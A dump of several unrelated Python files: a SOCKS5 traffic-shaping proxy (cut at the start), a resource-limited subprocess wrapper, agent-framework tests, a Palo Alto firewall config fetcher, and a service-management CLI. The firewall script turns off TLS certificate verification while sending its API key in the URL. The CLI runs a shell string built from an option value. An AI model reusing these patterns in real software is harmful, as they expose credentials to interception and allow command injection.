HandleConnect(self, message): global map_localhost if 'addresses' in message and len(message['addresses']): self.state = self.STATE_CONNECTING is_localhost = False if 'localhost' in message: is_localhost = message['localhost'] elif not self.did_resolve and message['addresses'][0] == '127.0.0.1': logging.info('[{0:d}] Connection to localhost detected'.format(self.client_id)) is_localhost = True if (dest_addresses is not None) and (not is_localhost or map_localhost): self.addr = dest_addresses[0] else: self.addr = message['addresses'][0] self.create_socket(self.addr[0], socket.SOCK_STREAM) addr = self.addr[4][0] if not is_localhost or map_localhost: port = GetDestPort(message['port']) else: port = message['port'] logging.info('[{0:d}] Connecting to {1}:{2:d}'.format(self.client_id, addr, port)) self.connect((addr, port)) ######################################################################################################################## # Socks5 Server ######################################################################################################################## class Socks5Server(asyncore.dispatcher): def __init__(self, host, port): asyncore.dispatcher.__init__(self) self.create_socket(socket.AF_INET, socket.SOCK_STREAM) try: self.set_reuse_addr() self.bind((host, port)) self.listen(socket.SOMAXCONN) self.ipaddr, self.port = self.getsockname() self.current_client_id = 0 except: PrintMessage("Unable to listen on {0}:{1}. Is the port already in use?".format(host, port)) exit(1) def handle_accept(self): global connections pair = self.accept() if pair is not None: sock, addr = pair self.current_client_id += 1 logging.info('[{0:d}] Incoming connection from {1}'.format(self.current_client_id, repr(addr))) connections[self.current_client_id] = { 'client' : Socks5Connection(sock, self.current_client_id), 'server' : None } # Socks5 reference: https://en.wikipedia.org/wiki/SOCKS#SOCKS5 class Socks5Connection(asyncore.dispatcher): STATE_ERROR = -1 STATE_WAITING_FOR_HANDSHAKE = 0 STATE_WAITING_FOR_CONNECT_REQUEST = 1 STATE_RESOLVING = 2 STATE_CONNECTING = 3 STATE_CONNECTED = 4 def __init__(self, connected_socket, client_id): global options asyncore.dispatcher.__init__(self, connected_socket) self.client_id = client_id self.state = self.STATE_WAITING_FOR_HANDSHAKE self.ip = None self.addresses = None self.hostname = None self.port = None self.requested_address = None self.buffer = '' self.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128 * 1024) self.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 128 * 1024) self.needs_close = False def SendMessage(self, type, message): message['message'] = type message['connection'] = self.client_id out_pipe.SendMessage(message) def handle_message(self, message): if message['message'] == 'data' and 'data' in message and len(message['data']) > 0: self.buffer += message['data'] if self.state == self.STATE_CONNECTED: self.handle_write() elif message['message'] == 'resolved': self.HandleResolved(message) elif message['message'] == 'connected': self.HandleConnected(message) self.handle_write() elif message['message'] == 'closed': if len(self.buffer) == 0: logging.info('[{0:d}] Server connection close being processed, closing Browser connection'.format(self.client_id)) self.handle_close() else: logging.info('[{0:d}] Server connection close being processed, queuing browser connection close'.format(self.client_id)) self.needs_close = True def writable(self): return len(self.buffer) > 0 def handle_write(self): if len(self.buffer) > 0: sent = self.send(self.buffer) logging.debug('[{0:d}] SOCKS <= {1:d} byte(s)'.format(self.client_id, sent)) self.buffer = self.buffer[sent:] if self.needs_close and len(self.buffer) == 0: logging.info('[{0:d}] queued browser connection close being processed, closing Browser connection'.format(self.client_id)) self.needs_close = False self.handle_close() def handle_read(self): global connections global dns_cache try: while True: # Consume in up-to packet-sized chunks (TCP packet payload as 1460 bytes from 1500 byte ethernet frames) data = self.recv(1460) if data: data_len = len(data) if self.state == self.STATE_CONNECTED: logging.debug('[{0:d}] SOCKS => {1:d} byte(s)'.format(self.client_id, data_len)) self.SendMessage('data', {'data': data}) elif self.state == self.STATE_WAITING_FOR_HANDSHAKE: self.state = self.STATE_ERROR #default to an error state, set correctly if things work out if data_len >= 2 and ord(data[0]) == 0x05: supports_no_auth = False auth_count = ord(data[1]) if data_len == auth_count + 2: for i in range(auth_count): offset = i + 2 if ord(data[offset]) == 0: supports_no_auth = True if supports_no_auth: # Respond with a message that "No Authentication" was agreed to logging.info('[{0:d}] New Socks5 client'.format(self.client_id)) response = chr(0x05) + chr(0x00) self.state = self.STATE_WAITING_FOR_CONNECT_REQUEST self.buffer += response self.handle_write() elif self.state == self.STATE_WAITING_FOR_CONNECT_REQUEST: self.state = self.STATE_ERROR #default to an error state, set correctly if things work out if data_len >= 10 and ord(data[0]) == 0x05 and ord(data[2]) == 0x00: if ord(data[1]) == 0x01: #TCP connection (only supported method for now) connections[self.client_id]['server'] = TCPConnection(self.client_id) self.requested_address = data[3:] port_offset = 0 if ord(data[3]) == 0x01: port_offset = 8 self.ip = '{0:d}.{1:d}.{2:d}.{3:d}'.format(ord(data[4]), ord(data[5]), ord(data[6]), ord(data[7])) elif ord(data[3]) == 0x03: name_len = ord(data[4]) if data_len >= 6 + name_len: port_offset = 5 + name_len self.hostname = data[5:5 + name_len] elif ord(data[3]) == 0x04 and data_len >= 22: port_offset = 20 self.ip = '' for i in range(16): self.ip += '{0:02x}'.format(ord(data[4 + i])) if i % 2 and i < 15: self.ip += ':' if port_offset and connections[self.client_id]['server'] is not None: self.port = 256 * ord(data[port_offset]) + ord(data[port_offset + 1]) if self.port: if self.ip is None and self.hostname is not None: if self.hostname in dns_cache: self.state = self.STATE_CONNECTING cache_entry = dns_cache[self.hostname] self.addresses = cache_entry['addresses'] self.SendMessage('connect', {'addresses': self.addresses, 'port': self.port, 'localhost': cache_entry['localhost']}) else: self.state = self.STATE_RESOLVING self.SendMessage('resolve', {'hostname': self.hostname, 'port': self.port}) elif self.ip is not None: self.state = self.STATE_CONNECTING logging.debug('[{0:d}] Socks Connect - calling getaddrinfo for {1}:{2:d}'.format(self.client_id, self.ip, self.port)) self.addresses = socket.getaddrinfo(self.ip, self.port) self.SendMessage('connect', {'addresses': self.addresses, 'port': self.port}) else: return except: pass def handle_close(self): logging.info('[{0:d}] Browser Connection Closed by browser'.format(self.client_id)) self.state = self.STATE_ERROR self.close() try: if self.client_id in connections: if 'client' in connections[self.client_id]: del connections[self.client_id]['client'] if 'server' in connections[self.client_id]: self.SendMessage('closed', {}) else: del connections[self.client_id] except: pass def HandleResolved(self, message): global dns_cache if self.state == self.STATE_RESOLVING: if 'addresses' in message and len(message['addresses']): self.state = self.STATE_CONNECTING self.addresses = message['addresses'] dns_cache[self.hostname] = {'addresses': self.addresses, 'localhost': message['localhost']} logging.debug('[{0:d}] Resolved {1}, Connecting'.format(self.client_id, self.hostname)) self.SendMessage('connect', {'addresses': self.addresses, 'port': self.port, 'localhost': message['localhost']}) else: # Send host unreachable error self.state = self.STATE_ERROR self.buffer += chr(0x05) + chr(0x04) + self.requested_address self.handle_write() def HandleConnected(self, message): if 'success' in message and self.state == self.STATE_CONNECTING: response = chr(0x05) if message['success']: response += chr(0x00) logging.debug('[{0:d}] Connected to {1}'.format(self.client_id, self.hostname)) self.state = self.STATE_CONNECTED else: response += chr(0x04) self.state = self.STATE_ERROR response += chr(0x00) response += self.requested_address self.buffer += response self.handle_write() ######################################################################################################################## # stdin command processor ######################################################################################################################## class CommandProcessor(): def __init__(self): thread = threading.Thread(target = self.run, args=()) thread.daemon = True thread.start() def run(self): global must_exit while not must_exit: for line in iter(sys.stdin.readline, ''): self.ProcessCommand(line.strip()) def ProcessCommand(self, input): global in_pipe global out_pipe global needs_flush global REMOVE_TCP_OVERHEAD global port_mappings global server if len(input): ok = False try: command = input.split() if len(command) and len(command[0]): if command[0].lower() == 'flush': ok = True elif command[0].lower() == 'set' and len(command) >= 3: if command[1].lower() == 'rtt' and len(command[2]): rtt = float(command[2]) latency = rtt / 2000.0 in_pipe.latency = latency out_pipe.latency = latency ok = True elif command[1].lower() == 'inkbps' and len(command[2]): in_pipe.kbps = float(command[2]) * REMOVE_TCP_OVERHEAD ok = True elif command[1].lower() == 'outkbps' and len(command[2]): out_pipe.kbps = float(command[2]) * REMOVE_TCP_OVERHEAD ok = True elif command[1].lower() == 'mapports' and len(command[2]): SetPortMappings(command[2]) ok = True elif command[0].lower() == 'reset' and len(command) >= 2: if command[1].lower() == 'rtt' or command[1].lower() == 'all': in_pipe.latency = 0 out_pipe.latency = 0 ok = True if command[1].lower() == 'inkbps' or command[1].lower() == 'all': in_pipe.kbps = 0 ok = True if command[1].lower() == 'outkbps' or command[1].lower() == 'all': out_pipe.kbps = 0 ok = True if command[1].lower() == 'mapports' or command[1].lower() == 'all': port_mappings = {} ok = True if ok: needs_flush = True except: pass if not ok: PrintMessage('ERROR') # open and close a local socket which will interrupt the long polling loop to process the flush if needs_flush: s = socket.socket() s.connect((server.ipaddr, server.port)) s.close() ######################################################################################################################## # Main Entry Point ######################################################################################################################## def main(): global server global options global in_pipe global out_pipe global dest_addresses global port_mappings global map_localhost import argparse global REMOVE_TCP_OVERHEAD parser = argparse.ArgumentParser(description='Traffic-shaping socks5 proxy.', prog='tsproxy') parser.add_argument('-v', '--verbose', action='count', help="Increase verbosity (specify multiple times for more). -vvvv for full debug output.") parser.add_argument('--logfile', help="Write log messages to given file instead of stdout.") parser.add_argument('-b', '--bind', default='localhost', help="Server interface address (defaults to localhost).") parser.add_argument('-p', '--port', type=int, default=1080, help="Server port (defaults to 1080, use 0 for randomly assigned).") parser.add_argument('-r', '--rtt', type=float, default=.0, help="Round Trip Time Latency (in ms).") parser.add_argument('-i', '--inkbps', type=float, default=.0, help="Download Bandwidth (in 1000 bits/s - Kbps).") parser.add_argument('-o', '--outkbps', type=float, default=.0, help="Upload Bandwidth (in 1000 bits/s - Kbps).") parser.add_argument('-w', '--window', type=int, default=10, help="Emulated TCP initial congestion window (defaults to 10).") parser.add_argument('-d', '--desthost', help="Redirect all outbound connections to the specified host.") parser.add_argument('-m', '--mapports', help="Remap outbound ports. Comma-separated list of original:new with * as a wildcard. --mapports '443:8443,*:8080'") parser.add_argument('-l', '--localhost', action='store_true', default=False, help="Include connections already destined for localhost/127.0.0.1 in the host and port remapping.") options = parser.parse_args() # Set up logging log_level = logging.CRITICAL if options.verbose == 1: log_level = logging.ERROR elif options.verbose == 2: log_level = logging.WARNING elif options.verbose == 3: log_level = logging.INFO elif options.verbose >= 4: log_level = logging.DEBUG if options.logfile is not None: logging.basicConfig(filename=options.logfile, level=log_level, format="%(asctime)s.%(msecs)03d - %(message)s", datefmt="%H:%M:%S") else: logging.basicConfig(level=log_level, format="%(asctime)s.%(msecs)03d - %(message)s", datefmt="%H:%M:%S") # Parse any port mappings if options.mapports: SetPortMappings(options.mapports) map_localhost = options.localhost # Resolve the address for a rewrite destination host if one was specified if options.desthost: logging.debug('Startup - calling getaddrinfo for {0}:{1:d}'.format(options.desthost, GetDestPort(80))) dest_addresses = socket.getaddrinfo(options.desthost, GetDestPort(80)) # Set up the pipes. 1/2 of the latency gets applied in each direction (and /1000 to convert to seconds) in_pipe = TSPipe(TSPipe.PIPE_IN, options.rtt / 2000.0, options.inkbps * REMOVE_TCP_OVERHEAD) out_pipe = TSPipe(TSPipe.PIPE_OUT, options.rtt / 2000.0, options.outkbps * REMOVE_TCP_OVERHEAD) signal.signal(signal.SIGINT, signal_handler) server = Socks5Server(options.bind, options.port) command_processor = CommandProcessor() PrintMessage('Started Socks5 proxy server on {0}:{1:d}\nHit Ctrl-C to exit.'.format(server.ipaddr, server.port)) run_loop() def signal_handler(signal, frame): global server global must_exit logging.error('Exiting...') must_exit = True del server # Wrapper around the asyncore loop that lets us poll the in/out pipes every 1ms def run_loop(): global must_exit global in_pipe global out_pipe global needs_flush global flush_pipes global last_activity winmm = None # increase the windows timer resolution to 1ms if platform.system() == "Windows": try: import ctypes winmm = ctypes.WinDLL('winmm') winmm.timeBeginPeriod(1) except: pass last_activity = time.clock() last_check = time.clock() # disable gc to avoid pauses during traffic shaping/proxying gc.disable() while not must_exit: # Tick every 1ms if traffic-shaping is enabled and we have data or are doing background dns lookups, every 1 second otherwise lock.acquire() tick_interval = 0.001 if background_activity_count == 0: if in_pipe.next_message is None and in_pipe.queue.empty() and out_pipe.next_message is None and out_pipe.queue.empty(): tick_interval = 1.0 elif in_pipe.kbps == .0 and in_pipe.latency == 0 and out_pipe.kbps == .0 and out_pipe.latency == 0: tick_interval = 1.0 lock.release() asyncore.poll(tick_interval, asyncore.socket_map) if needs_flush: flush_pipes = True needs_flush = False out_pipe.tick() in_pipe.tick() if flush_pipes: PrintMessage('OK') flush_pipes = False # Every 500 ms check to see if it is a good time to do a gc now = time.clock() if now - last_check > 0.5: last_check = now # manually gc after 5 seconds of idle if now - last_activity >= 5: last_activity = now logging.debug("Triggering manual GC") gc.collect() if winmm is not None: winmm.timeEndPeriod(1) def GetDestPort(port): global port_mappings if port_mappings is not None: src_port = str(port) if src_port in port_mappings: return port_mappings[src_port] elif 'default' in port_mappings: return port_mappings['default'] return port def SetPortMappings(map_string): global port_mappings port_mappings = {} map_string = map_string.strip('\'" \t\r\n') for pair in map_string.split(','): (src, dest) = pair.split(':') if src == '*': port_mappings['default'] = int(dest) logging.debug("Default port mapped to port {0}".format(dest)) else: logging.debug("Port {0} mapped to port {1}".format(src, dest)) port_mappings[src] = int(dest) if '__main__' == __name__: main()
popen.py
#!/usr/bin/env python # ~ Copyright 2014 Sjoerd Cranen, Wieger Wesselink #~ Distributed under the Boost Software License, Version 1.0. #~ (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt) import time import psutil import threading import subprocess class TimeExceededError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class MemoryExceededError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class StackOverflowError(Exception): def __init__(self, name): self.name = name def __str__(self): return 'Stack overflow in tool {}'.format(self.name) class SegmentationFault(Exception): def __init__(self, name): self.name = name def __str__(self): return 'Segmentation fault in tool {}'.format(self.name) class ToolNotFoundError(Exception): def __init__(self, name): self.name = name def __str__(self): return 'Tool {} does not exist!'.format(self.name) class ToolRuntimeError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Popen(subprocess.Popen): def __init__(self, *args, **kwargs): self.__maxVirtLimit = kwargs.setdefault('maxVirtLimit', 100000000) del kwargs['maxVirtLimit'] self.__usrTimeLimit = kwargs.setdefault('usrTimeLimit', 100000000) del kwargs['usrTimeLimit'] super(Popen, self).__init__(*args, **kwargs) self.__usrTime = 0 self.__sysTime = 0 self.__maxVirt = 0 self.__maxResident = 0 # workaround for interface changes in psutil process = psutil.Process(self.pid) if "get_cpu_times" in dir(process): self.__perfThread = threading.Thread(target=self.__measure_old) else: self.__perfThread = threading.Thread(target=self.__measure_new) self.__perfThread.daemon = True self.__perfThread.start() # uses old interface of psutil def __measure_old(self): try: process = psutil.Process(self.pid) while self.returncode is None: self.__usrTime, self.__sysTime = process.get_cpu_times() virt, res = process.get_memory_info() self.__maxVirt = max(self.__maxVirt, virt) self.__maxResident = max(self.__maxResident, res) if self.__maxVirt > self.__maxVirtLimit: self.kill() # raise MemoryExceededError(self.__maxVirt) if self.__usrTime > self.__usrTimeLimit: self.kill() # raise TimeExceededError(self.__usrTime) time.sleep(0.05) except psutil.NoSuchProcess: pass # uses new interface of psutil def __measure_new(self): try: process = psutil.Process(self.pid) while self.returncode is None: t = process.cpu_times() m = process.memory_info() self.__usrTime, self.__sysTime = t.user, t.system self.__maxVirt = max(self.__maxVirt, m.vms) self.__maxResident = max(self.__maxResident, m.rss) if self.__maxVirt > self.__maxVirtLimit: self.kill() # raise MemoryExceededError(self.__maxVirt) if self.__usrTime > self.__usrTimeLimit: self.kill() # raise TimeExceededError(self.__usrTime) time.sleep(0.05) except psutil.NoSuchProcess: pass @property def user_time(self): return self.__usrTime @property def system_time(self): return self.__sysTime @property def max_virtual_memory(self): return self.__maxVirt @property def max_resident_memory(self): return self.__maxResident # This requires python3 #if __name__ == '__main__': # proc = Popen(sys.argv[1:]) # ret = proc.wait() # print('usr/sys/virt/res: {0}/{1}/{2}/{3}'.format(proc.user_time, proc.system_time, proc.max_virtual_memory, proc.max_resident_memory), file=sys.stderr) # sys.exit(ret)
test_error.py
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2018-2019 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ------------------------------------------------------------------------------ """The test error skill module contains the tests of the error skill.""" import os import time from pathlib import Path from threading import Thread from aea.aea import AEA from aea.crypto.fetchai import FETCHAI from aea.crypto.ledger_apis import LedgerApis from aea.crypto.wallet import Wallet from aea.identity.base import Identity from aea.mail.base import Envelope from aea.protocols.default.message import DefaultMessage from aea.protocols.default.serialization import DefaultSerializer from aea.registries.base import Resources from aea.skills.base import SkillContext from aea.skills.error.behaviours import ErrorBehaviour from aea.skills.error.handlers import ErrorHandler from aea.skills.error.tasks import ErrorTask from packages.fetchai.connections.local.connection import LocalNode from packages.fetchai.protocols.fipa.message import FIPAMessage from packages.fetchai.protocols.fipa.serialization import FIPASerializer from packages.fetchai.protocols.oef.message import OEFMessage from ..conftest import CUR_PATH, DUMMY_CONNECTION_PUBLIC_ID, DummyConnection class TestSkillError: """Test the skill: Error.""" @classmethod def setup_class(cls): """Test the initialisation of the AEA.""" cls.node = LocalNode() private_key_path = os.path.join(CUR_PATH, "data", "fet_private_key.txt") cls.wallet = Wallet({FETCHAI: private_key_path}) cls.ledger_apis = LedgerApis({}, FETCHAI) cls.agent_name = "Agent0" cls.connection = DummyConnection(connection_id=DUMMY_CONNECTION_PUBLIC_ID) cls.connections = [cls.connection] cls.identity = Identity(cls.agent_name, address=cls.wallet.addresses[FETCHAI]) cls.address = cls.identity.address cls.my_aea = AEA( cls.identity, cls.connections, cls.wallet, cls.ledger_apis, timeout=2.0, resources=Resources(str(Path(CUR_PATH, "data/dummy_aea"))), is_programmatic=False, ) cls.t = Thread(target=cls.my_aea.start) cls.t.start() time.sleep(0.5) cls.skill_context = SkillContext(cls.my_aea._context) cls.my_error_handler = ErrorHandler( name="error", skill_context=cls.skill_context ) def test_error_handler_handle(self): """Test the handle function.""" msg = FIPAMessage( message_id=0, dialogue_reference=(str(0), ""), target=0, performative=FIPAMessage.Performative.ACCEPT, ) msg.counterparty = "a_counterparty" self.my_error_handler.handle(message=msg) def test_error_skill_unsupported_protocol(self): """Test the unsupported error message.""" msg = FIPAMessage( message_id=0, dialogue_reference=(str(0), ""), target=0, performative=FIPAMessage.Performative.ACCEPT, ) msg_bytes = FIPASerializer().encode(msg) envelope = Envelope( to=self.address, sender=self.address, protocol_id=FIPAMessage.protocol_id, message=msg_bytes, ) self.my_error_handler.send_unsupported_protocol(envelope) envelope = self.my_aea.inbox.get(block=True, timeout=1.0) msg = DefaultSerializer().decode(envelope.message) assert msg.type == DefaultMessage.Type.ERROR assert msg.error_code == DefaultMessage.ErrorCode.UNSUPPORTED_PROTOCOL def test_error_decoding_error(self): """Test the decoding error.""" msg = FIPAMessage( message_id=0, dialogue_reference=(str(0), ""), target=0, performative=FIPAMessage.Performative.ACCEPT, ) msg_bytes = FIPASerializer().encode(msg) envelope = Envelope( to=self.address, sender=self.address, protocol_id=DefaultMessage.protocol_id, message=msg_bytes, ) self.my_error_handler.send_decoding_error(envelope) envelope = self.my_aea.inbox.get(block=True, timeout=1.0) msg = DefaultSerializer().decode(envelope.message) assert msg.get("type") == DefaultMessage.Type.ERROR assert msg.get("error_code") == DefaultMessage.ErrorCode.DECODING_ERROR.value def test_error_invalid_message(self): """Test the invalid message.""" msg = FIPAMessage( message_id=0, dialogue_reference=(str(0), ""), target=0, performative=FIPAMessage.Performative.ACCEPT, ) msg_bytes = FIPASerializer().encode(msg) envelope = Envelope( to=self.address, sender=self.address, protocol_id=OEFMessage.protocol_id, message=msg_bytes, ) self.my_error_handler.send_invalid_message(envelope) envelope = self.my_aea.inbox.get(block=True, timeout=1.0) msg = DefaultSerializer().decode(envelope.message) assert msg.get("type") == DefaultMessage.Type.ERROR assert msg.get("error_code") == DefaultMessage.ErrorCode.INVALID_MESSAGE.value def test_error_unsupported_skill(self): """Test the unsupported skill.""" msg = FIPAMessage( message_id=0, dialogue_reference=(str(0), ""), target=0, performative=FIPAMessage.Performative.ACCEPT, ) msg_bytes = FIPASerializer().encode(msg) envelope = Envelope( to=self.address, sender=self.address, protocol_id=DefaultMessage.protocol_id, message=msg_bytes, ) self.my_error_handler.send_unsupported_skill(envelope=envelope) envelope = self.my_aea.inbox.get(block=True, timeout=1.0) msg = DefaultSerializer().decode(envelope.message) assert msg.get("type") == DefaultMessage.Type.ERROR assert msg.get("error_code") == DefaultMessage.ErrorCode.UNSUPPORTED_SKILL.value def test_error_behaviour_instantiation(self): """Test that we can instantiate the 'ErrorBehaviour' class.""" ErrorBehaviour(name="error", skill_context=self.skill_context) def test_error_task_instantiation(self): """Test that we can instantiate the 'ErrorTask' class.""" ErrorTask() @classmethod def teardown_class(cls): """Teardown method.""" cls.my_aea.stop() cls.t.join()
get-panw-config.py
#!/usr/bin/env python3 ''' Remove nargs='*' from firewalls arg and split to make compatible with Golang calls and Comment out stdin.isatty() code block ''' '''Get firewall configuration get_panw_config.py Author: David Cruz (davidcruz72@gmail.com) Python version >= 3.6 Required Python packages: Netmiko Features: Returns the firewall configuration (set/XML format) Command line options Platform independent Save key based auth preference, default user and default firewall Update saved settings Multi-threaded ''' import argparse from getpass import getpass import json from collections import namedtuple from netmiko import ConnectHandler import operator import os import os.path import queue import re import signal import ssl import sys import threading import urllib.request print_queue = queue.Queue() def sigint_handler(signum, frame): sys.exit(1) def parse_args(): parser = argparse.ArgumentParser(description='Returns the firewall configuration (set/XML format)') parser.add_argument('firewalls', type=str, help='Space separated list of firewalls to query') parser.add_argument('-U', '--update', action='store_true', help='Update saved settings') parser.add_argument('-f', '--format', choices=['xml', 'set'], default='xml', help='Output format') group1 = parser.add_argument_group('Set configuration format') group1.add_argument('-g', '--global-delay-factor', metavar='', type=int, default=1, help='Increase wait time for prompt (default is 1)') group1.add_argument('-u', '--user', metavar='', type=str, help='User') group1.add_argument('-p', '--password', metavar='', type=str, help='Password') group1.add_argument('-K', '--key-based-auth', action='store_true', help='Use key based authentication') group2 = parser.add_argument_group('XML configuration format') group2.add_argument('-k', '--key', metavar='', type=str, help='API key') group2.add_argument('-x', '--xpath', metavar='', type=str, help='XML XPath') group2.add_argument('-t', choices=['running', 'candidate', 'pushed-template', 'pushed-shared-policy', 'merged', 'synced', 'synced-diff'], default='running', help='Config type') # Split space separated firewalls string args = parser.parse_args() args.firewalls = args.firewalls.split() return args def import_saved_settings(settings_path): if os.path.exists(settings_path): with open(settings_path, 'r') as f: settings = json.load(f) # Check for the existence of settings and add if missing changed = False if not 'default_firewall' in settings: settings['default_firewall'] = input(f'Default Firewall: ') changed = True if not 'key' in settings: settings['key'] = input('API Key: ') changed = True if not 'default_user' in settings: settings['default_user'] = input('Default User: ') changed = True if changed: with open(settings_path, 'w') as f: json.dump(settings, f, sort_keys=True, indent=2) else: settings = { 'default_firewall': [input('Default Firewall: ')], 'default_user': input('Default User: '), 'key': input('API Key: '), } with open(settings_path, 'w') as f: json.dump(settings, f, sort_keys=True, indent=2) os.chmod(settings_path, 0o600) return settings def update_saved_settings(settings, settings_path): print('\nUpdating saved settings ...\n') settings['default_firewall'] = input(f'New Default Firewall [{settings["default_firewall"]}]: ') or settings['default_firewall'] settings['default_user'] = input(f'New Default User [{settings["default_user"]}]: ') or settings['default_user'] settings['key'] = input(f'New API Key [{settings["key"]}]: ') or settings['key'] with open(settings_path, 'w') as f: json.dump(settings, f, sort_keys=True, indent=2) print('\nSettings updated!') def query_api(args, host): # Disable certifcate verification ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Get connected firewalls if args.xpath: params = urllib.parse.urlencode({ 'xpath': args.xpath, 'type': 'config', 'action': 'show', 'key': args.key, }) else: params = urllib.parse.urlencode({ 'type': 'op', 'cmd': f'<show><config><{args.t}></{args.t}></config></show>', 'key': args.key, }) url = f'https://{host}/api/?{params}' try: with urllib.request.urlopen(url, timeout=30, context=ctx) as response: xml_config = response.read() xml_config = '\n'.join(str(xml_config).split('\\n')) except OSError as err: sys.stdout.write(f'{host}: Unable to connect to host ({err})\n\n') return print_config(xml_config, host) def connect_ssh(args, settings, key_path, host): panos = { 'host': host, 'device_type': 'paloalto_panos', 'username': args.user, 'password': args.password, 'global_delay_factor': args.global_delay_factor, } if not args.user: panos['username'] = settings['default_user'] if args.key_based_auth: panos['key_file'] = key_path panos['use_keys'] = True try: net_connect = ConnectHandler(**panos) set_config = net_connect.send_command('set cli config-output-format set') set_config = net_connect.send_config_set(['show']) except Exception as e: sys.stdout.write(f'Connection error ({host})\n\n') finally: net_connect.disconnect() # Replace non printable Unicode characters to fix Windows stdout issue set_config = str(set_config.encode('utf-8')) # Remove extraneous leading/trailing output set_config = '\n'.join(set_config.split('\\n')[4:-4]) print_config(set_config, host) def print_config(config, host): print_queue.put([ f'{"=" * (len(host) + 4)}', f'= {host} =', f'{"=" * (len(host) + 4)}', config, ]) def print_manager(): while True: job = print_queue.get() for line in job: print(line) print("\n") print_queue.task_done() def main(): # Ctrl+C graceful exit signal.signal(signal.SIGINT, sigint_handler) args = parse_args() if os.environ.get('USERPROFILE'): settings_path = os.path.join(os.environ.get('USERPROFILE'), '.panw-settings.json') key_path = os.path.join(os.environ.get('USERPROFILE'), '.ssh', 'id_rsa') else: settings_path = os.path.join(os.environ.get('HOME'), '.panw-settings.json') key_path = os.path.join(os.environ.get('HOME'), '.ssh', 'id_rsa') settings = import_saved_settings(settings_path) if args.update: update_saved_settings(settings, settings_path) sys.exit(0) # Receive firewalls from stdin # if not sys.stdin.isatty(): # args.firewalls = [i.strip() for i in sys.stdin] # # Remove empty strings (Windows PowerShell Select-String cmdlet issue) # args.firewalls = list(filter(None, args.firewalls)) if not args.key: args.key = settings['key'] if not args.firewalls: args.firewalls = [settings['default_firewall']] if not args.user: args.user = settings['default_user'] if args.format == 'set' and not args.key_based_auth and not args.password: args.password = getpass(f"Password ({args.user}): ") # Start print manager t = threading.Thread(target=print_manager) t.daemon = True t.start() del t # Collect, process and print configuration if args.format == 'xml': worker_threads = [] for host in args.firewalls: t = threading.Thread(target=query_api, args=(args, host)) worker_threads.append(t) t.start() for t in worker_threads: t.join() elif args.format == 'set': print('Connecting via SSH ...', file=sys.stderr) worker_threads = [] for host in args.firewalls: t = threading.Thread(target=connect_ssh, args=(args, settings, key_path, host)) worker_threads.append(t) t.start() for t in worker_threads: t.join() print_queue.join() sys.exit(0) if __name__ == '__main__': main()
manage.py
# Copyright 2020 University of New South Wales, University of Sydney, Ingham Institute # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import subprocess from multiprocessing import Process import uuid from sqlalchemy.exc import OperationalError import click import redis from .models import db, APIKey def create_db(): """ Create the Database used by the framework """ db.create_all() def add_api_key(name, is_admin): """ Add a new API Key with the given name name: Name of the API Key """ ak = APIKey(key=str(uuid.uuid4()), name=name, is_admin=is_admin) db.session.add(ak) db.session.commit() return ak.key @click.group() @click.pass_context def cli(_): pass @cli.command() @click.pass_context @click.option("--add", "-a", help="Name of api key to add") @click.option("--list", "-l", is_flag=True, help="List all API keys") @click.option( "--super", "-s", is_flag=True, help="API Key has super user priviledges (has access to other application's data)", ) def key(ctx, add, list, super): try: keys = APIKey.query.all() if add in [k.name for k in keys]: click.echo("Error: An API Key with that name already exists.") return if add: api_key = add_api_key(add, super) click.echo("Key added: {0}".format(api_key)) if list: for ak in APIKey.query.all(): click.echo(ak) except OperationalError as oe: click.echo("An error occurred. Be sure to init the db with the 'initdb' command.") @cli.command() @click.pass_context def initdb(ctx): create_db() click.echo("DB Created") @cli.command() @click.pass_context @click.option("--ip", "-ip", help="IP address of service", required=True) def ssl(ctx, ip): command = [ "openssl", "req", "-new", "-x509", "-days", "365", "-nodes", "-subj", f"/CN={ip}", "-addext", f"subjectAltName = IP:{ip}", "-out", "service.crt", "-keyout", "service.key", ] process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() click.echo(stdout) click.echo(stderr) click.echo("SSL Certificates Created. Service restart required.") def run_celery(): celery_command = [ "celery", "--app=service:celery", "beat", "--loglevel=INFO", ] process = subprocess.Popen(celery_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print("Running celery worker & beat") stdout, stderr = process.communicate() click.echo(stdout) click.echo(stderr) @cli.command() @click.pass_context @click.option("--port", "-p", help="Port on which to run service", default=8000) def run(ctx, port): r = redis.client.Redis() try: r.ping() except redis.exceptions.ConnectionError: click.echo("redis is not running. Start with command: `redis-server --daemonize yes`") return process_celery = Process(target=run_celery) process_celery.start() service_command = [ "gunicorn", "-b", f":{port}", "--timeout", "300", "--graceful-timeout", "60", "service:app", ] process = subprocess.Popen( f"gunicorn -b :{port} service:app", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, ) click.echo("Running Service (with gunicorn)") process.communicate() if __name__ == "__main__": cli(obj={})
text4.py
